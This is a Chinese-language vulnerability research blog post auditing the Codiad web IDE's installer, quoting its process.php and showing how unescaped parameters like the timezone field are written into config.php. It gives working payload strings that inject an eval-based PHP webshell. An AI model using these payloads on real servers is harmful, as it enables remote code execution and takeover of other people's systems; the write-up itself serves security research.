Codiad 漏洞挖掘笔记 (0x02) [更新配置到 GetShell]

96
王一航
2017.07.19 11:08* 字数 402

I wanna CVE...T_T

记得昨天晚上在搭建环境的时候注意到 config.php 这个文件

<?php

/*
*  Copyright (c) Codiad & Kent Safranski (codiad.com), distributed
*  as-is and without warranty under the MIT License. See
*  [root]/license.txt for more. This information must remain intact.
*/

//////////////////////////////////////////////////////////////////
// CONFIG
//////////////////////////////////////////////////////////////////

// PATH TO CODIAD
define("BASE_PATH", "/var/www/html/");

// BASE URL TO CODIAD (without trailing slash)
define("BASE_URL", "localhost/");

// THEME : default, modern or clear (look at /themes)
define("THEME", "default");

// ABSOLUTE PATH
define("WHITEPATHS", BASE_PATH . ",/home");

// SESSIONS (e.g. 7200)
$cookie_lifetime = "0";

// TIMEZONE
date_default_timezone_set("Australia/Perth");
...

键和值都是用双引号包裹起来的
隐隐感觉可能会存在问题
然后找一下用于执行安装功能的 php 文件
找到了 : ./components/install/process.php

<?php

/*
*  Copyright (c) Codiad & Kent Safranski (codiad.com), distributed
*  as-is and without warranty under the MIT License. See
*  [root]/license.txt for more. This information must remain intact.
*/

//////////////////////////////////////////////////////////////////////
// Paths
//////////////////////////////////////////////////////////////////////

    $path = $_POST['path'];

    $rel = str_replace('/components/install/process.php', '', $_SERVER['REQUEST_URI']);

    $workspace = $path . "/workspace";
    $users = $path . "/data/users.php";
    $projects = $path . "/data/projects.php";
    $active = $path . "/data/active.php";
    $config = $path . "/config.php";

//////////////////////////////////////////////////////////////////////
// Functions
//////////////////////////////////////////////////////////////////////

function saveFile($file, $data)
{
    $write = fopen($file, 'w') or die("can't open file");
    fwrite($write, $data);
    fclose($write);
}

function saveJSON($file, $data)
{
    $data = "<?php/*|\r\n" . json_encode($data) . "\r\n|*/?>";
    saveFile($file, $data);
}

function encryptPassword($p)
{
    return sha1(md5($p));
}

function cleanUsername($username)
{
    return preg_replace('#[^A-Za-z0-9'.preg_quote('-_@. ').']#', '', $username);
}

function isAbsPath($path)
{
    return $path[0] === '/';
}

function cleanPath($path)
{

    // prevent Poison Null Byte injections
    $path = str_replace(chr(0), '', $path);

    // prevent go out of the workspace
    while (strpos($path, '../') !== false) {
        $path = str_replace('../', '', $path);
    }

    return $path;
}

//////////////////////////////////////////////////////////////////////
// Verify no overwrites
//////////////////////////////////////////////////////////////////////

if (!file_exists($users) && !file_exists($projects) && !file_exists($active)) {
    //////////////////////////////////////////////////////////////////
    // Get POST responses
    //////////////////////////////////////////////////////////////////

    $username = cleanUsername($_POST['username']);
    $password = encryptPassword($_POST['password']);
    $project_name = $_POST['project_name'];
    if (isset($_POST['project_path'])) {
        $project_path = $_POST['project_path'];
    } else {
        $project_path = $project_name;
    }
    $timezone = $_POST['timezone'];

    //////////////////////////////////////////////////////////////////
    // Create Projects files
    //////////////////////////////////////////////////////////////////

    $project_path = cleanPath($project_path);

    if (!isAbsPath($project_path)) {
        $project_path = str_replace(" ", "_", preg_replace('/[^\w-\.]/', '', $project_path));
        mkdir($workspace . "/" . $project_path);
    } else {
        $project_path = cleanPath($project_path);
        if (substr($project_path, -1) == '/') {
            $project_path = substr($project_path, 0, strlen($project_path)-1);
        }
        if (!file_exists($project_path)) {
            if (!mkdir($project_path.'/', 0755, true)) {
                die("Unable to create Absolute Path");
            }
        } else {
            if (!is_writable($project_path) || !is_readable($project_path)) {
                die("No Read/Write Permission");
            }
        }
    }
    $project_data = array("name"=>$project_name,"path"=>$project_path);

    saveJSON($projects, array($project_data));

    //////////////////////////////////////////////////////////////////
    // Create Users file
    //////////////////////////////////////////////////////////////////

    $user_data = array("username"=>$username,"password"=>$password,"project"=>$project_path);

    saveJSON($users, array($user_data));

    //////////////////////////////////////////////////////////////////
    // Create Active file
    //////////////////////////////////////////////////////////////////

    saveJSON($active, array(''));
    
    //////////////////////////////////////////////////////////////////
    // Create Config
    //////////////////////////////////////////////////////////////////

// 直接使用字符串拼接的方式写入配置文件 , 那么只要参数可控
// 并且我们可以绕过对参数的过滤 , 就可以直接写 webshell 了
    $config_data = '<?php

/*
*  Copyright (c) Codiad & Kent Safranski (codiad.com), distributed
*  as-is and without warranty under the MIT License. See
*  [root]/license.txt for more. This information must remain intact.
*/

//////////////////////////////////////////////////////////////////
// CONFIG
//////////////////////////////////////////////////////////////////

// PATH TO CODIAD
define("BASE_PATH", "' . $path . '");

// BASE URL TO CODIAD (without trailing slash)
define("BASE_URL", "' . $_SERVER["HTTP_HOST"] . $rel . '");

// THEME : default, modern or clear (look at /themes)
define("THEME", "default");

// ABSOLUTE PATH
define("WHITEPATHS", BASE_PATH . ",/home");

// SESSIONS (e.g. 7200)
$cookie_lifetime = "0";

// TIMEZONE
date_default_timezone_set("' . $_POST['timezone'] . '");

// External Authentification
//define("AUTH_PATH", "/path/to/customauth.php");

//////////////////////////////////////////////////////////////////
// ** DO NOT EDIT CONFIG BELOW **
//////////////////////////////////////////////////////////////////

// PATHS
define("COMPONENTS", BASE_PATH . "/components");
define("PLUGINS", BASE_PATH . "/plugins");
define("THEMES", BASE_PATH . "/themes");
define("DATA", BASE_PATH . "/data");
define("WORKSPACE", BASE_PATH . "/workspace");

// URLS
define("WSURL", BASE_URL . "/workspace");

// Marketplace
//define("MARKETURL", "http://market.codiad.com/json");

// Update Check
//define("UPDATEURL", "http://update.codiad.com/?v={VER}&o={OS}&p={PHP}&w={WEB}&a={ACT}");
//define("ARCHIVEURL", "https://github.com/Codiad/Codiad/archive/master.zip");
//define("COMMITURL", "https://api.github.com/repos/Codiad/Codiad/commits");
';

    saveFile($config, $config_data);

    echo("success");
}
在配置文件的内容中 , 可控的参数有 : 
$path
$_SERVER["HTTP_HOST"]
$rel
$_POST['timezone']
这四个参数中的任意一个点只要我们可以任意写入数据 , 那么就可以直接写 webshell
下面来一个一个看看这些参数
$path

首先获取参数


image.png

image.png

这里有一个很奇怪的点 , 这里接受了 POST 的 path 参数 , 不过在过滤的时候却只过滤了 POST 的 project_name , 这个 POST 的 path 似乎唯一用到的地方就是拼接成配置文件 , 然后写入配置文件
那这里必然是可以 getshell 了

$_SERVER["HTTP_HOST"]

这个也就不用说 , 用户可控 , 而且没过滤 , 又一个 getshell 的点

$rel
image.png

只对 GET 的 URL 进行了一个替换 , 我觉得我们可以直接使用 # 来作为 URL 中的锚点
然后就可以在锚点之后加入 payload , 然后应该也是可以 getshell , 不过待测试

$_POST['timezone']

同 $_SERVER["HTTP_HOST"]


漏洞验证 :

这里首先验证最容易控制的参数 , 例如 $_POST['timezone'];
代码逻辑如下 : 
// TIMEZONE
date_default_timezone_set("' . $_POST['timezone'] . '");
将其简单插入到 date_default_timezone_set 这个函数调用中
那么我们需要构造 $_POST['timezone'] 为 : 

Asia/Shanghai");eval("$_POST['c']

应该就可以写入一句话木马了

下面进行尝试 :

image.png
image.png

然后我们来查看配置文件是否已经被更新

image.png
image.png

虽然 shell 写进去了 , 但是似乎并不能执行 ?
再研究研究

image.png
image.png

是单引号的锅...
所以 payload 应该是 :

$_POST['timezone'] 为 : 
Asia/Shanghai");eval("$_POST[c]
或者这样
Asia/Shanghai");@eval($_POST[c]."

这样的话 , 别的参数其实也就不用再试了 , 都是同样的原理


继续深入 :

这里我们只是在安装的时候 getshell 了, 那这个漏洞其实还是比较鸡肋的
因为你不可能在目标网站正常运行的时候再去把人家的网站重新安装一遍吧
接下来看看是否可以通过更新配置文件来达到和刚才相同的效果

接下来我们再来寻找更新配置文件的地方 , 为了快捷起见 , 我们直接登录 , 直接用 BurpSuite 抓更新配置文件的包
然后根据参数再来定位代码位置
然后再进行审计

审计中...
代码审计
Web note ad 1